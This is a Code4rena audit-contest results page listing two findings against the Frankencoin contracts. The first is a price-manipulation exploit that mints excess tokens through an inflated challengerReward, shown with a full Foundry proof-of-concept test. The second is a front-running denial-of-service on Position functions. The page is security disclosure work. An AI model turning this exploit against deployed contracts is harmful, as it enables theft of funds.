Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 59/199
Findings: 2
Award: $68.89
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L347 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L252-L276
Malicious user can clone existing position, call adjustPrice()
to set incredibly high price. Then launchChallenge()
on this position (i.e. become challenger). tryAvertChallenge()
will always return false, because price in position is incredibly high.
And after ending of auction, challengerReward is calculated from multiplying price, positionSize, CHALLENGER_REWARD (2%) resulting in very very high challengerReward.
Ends up in minting very high amount of Frankencoins to malicious user.
Open position, adjust price, launch challenge, bid, wait till the end, claim challengerReward
Insert this test into test/GeneralTest.t.sol and run forge test --match-test testHackWithPrice --via-ir -vv
function testHackWithPrice() public { address hackerAndOwner = address(0x4); address bidder = address(0x5); // mint initail tokens vm.prank(address(swap)); col.mint(hackerAndOwner, 2_000 ether); vm.prank(address(swap)); zchf.mint(hackerAndOwner, 1_000 ether); vm.prank(address(swap)); zchf.mint(bidder, 1_000 ether); // position args uint256 minCollateral = 100 ether; uint256 initCollateral = 1_000 ether; uint256 mintingMaximum = 3_000 ether; uint256 expirationSeconds = 100 days; uint256 challengeSeconds = 1 days; uint32 mintingFeePPM = 25000; uint256 liqPrice = 1 ether; // fair price is 1 to 1 uint32 reservePPM = 200_000; // open position vm.prank(hackerAndOwner); col.approve(address(hub), initCollateral); vm.prank(hackerAndOwner); address posAddress = hub.openPosition(address(col), minCollateral, initCollateral, mintingMaximum, expirationSeconds, challengeSeconds, mintingFeePPM, liqPrice, reservePPM); Position pos = Position(posAddress); skip(7 days + 60); // adjust price to very high uint256 newPrice = 1_000_000_000_000_000 ether; vm.prank(hackerAndOwner); pos.adjustPrice(newPrice); // launch challenge on this position uint256 challengeCollateralAmount = 1_000 ether; vm.prank(hackerAndOwner); col.approve(address(hub), challengeCollateralAmount); vm.prank(hackerAndOwner); uint256 challengeIndex = hub.launchChallenge(posAddress, challengeCollateralAmount); // bid fair price on auction uint256 zchfFairAmount = 1_000 ether; vm.prank(bidder); zchf.approve(address(hub), zchfFairAmount); vm.prank(bidder); hub.bid(challengeIndex, zchfFairAmount, challengeCollateralAmount); // wait and complete auction skip(2 days); hub.end(challengeIndex); // assert uint256 volume = pos.price() * challengeCollateralAmount / 10**18; uint256 challengerReward = hub.CHALLENGER_REWARD(); console.log("Current hacker ZCHF amount (without fractional part)"); console.log(zchf.balanceOf(hackerAndOwner) / 10**18); assertEq(zchf.balanceOf(hackerAndOwner), volume * challengerReward / 1_000_000); }
Manual Review, Foundry
Maybe calculate challengerReward from actual effectiveBid instead of using volume with Positions's price (that could be malicious)
#0 - c4-pre-sort
2023-04-21T11:49:02Z
0xA5DF marked the issue as duplicate of #973
#1 - c4-pre-sort
2023-04-24T18:44:30Z
0xA5DF marked the issue as duplicate of #458
#2 - c4-judge
2023-05-18T14:41:44Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: peanuts
Also found by: GreedyGoblin, J4de, KIntern_NA, Kumpa, LegendFenGuin, T1MOH, __141345__, deadrxsezzz, deliriusz, ltyu, m9800, rvierdiiev
33.835 USDC - $33.83
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L97 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L159 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L177 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L263
DOSer can frontrun all main functions in Position.sol: mint(), withdrawCollateral(), adjustPrice(), reduceLimitForClone()
, calling MintingHub#launchChallenge()
and paying minimumCollateral
ÑŽ
Such actions will block any external interactions with Position
If attacker This functions have modifier
modifier noChallenge() { if (challengedAmount > 0) revert Challenged(); _; }
Manual Review
Use a timeout after the challenge is complete so the user can interact with the position
#0 - c4-pre-sort
2023-04-26T11:47:41Z
0xA5DF marked the issue as duplicate of #745
#1 - c4-pre-sort
2023-04-26T11:47:49Z
0xA5DF marked the issue as low quality report
#2 - 0xA5DF
2023-04-26T11:48:25Z
Warden didn't correctly identify the issue as the primary did, front running isn't really relevant
#3 - c4-judge
2023-05-18T13:50:34Z
hansfriese marked the issue as satisfactory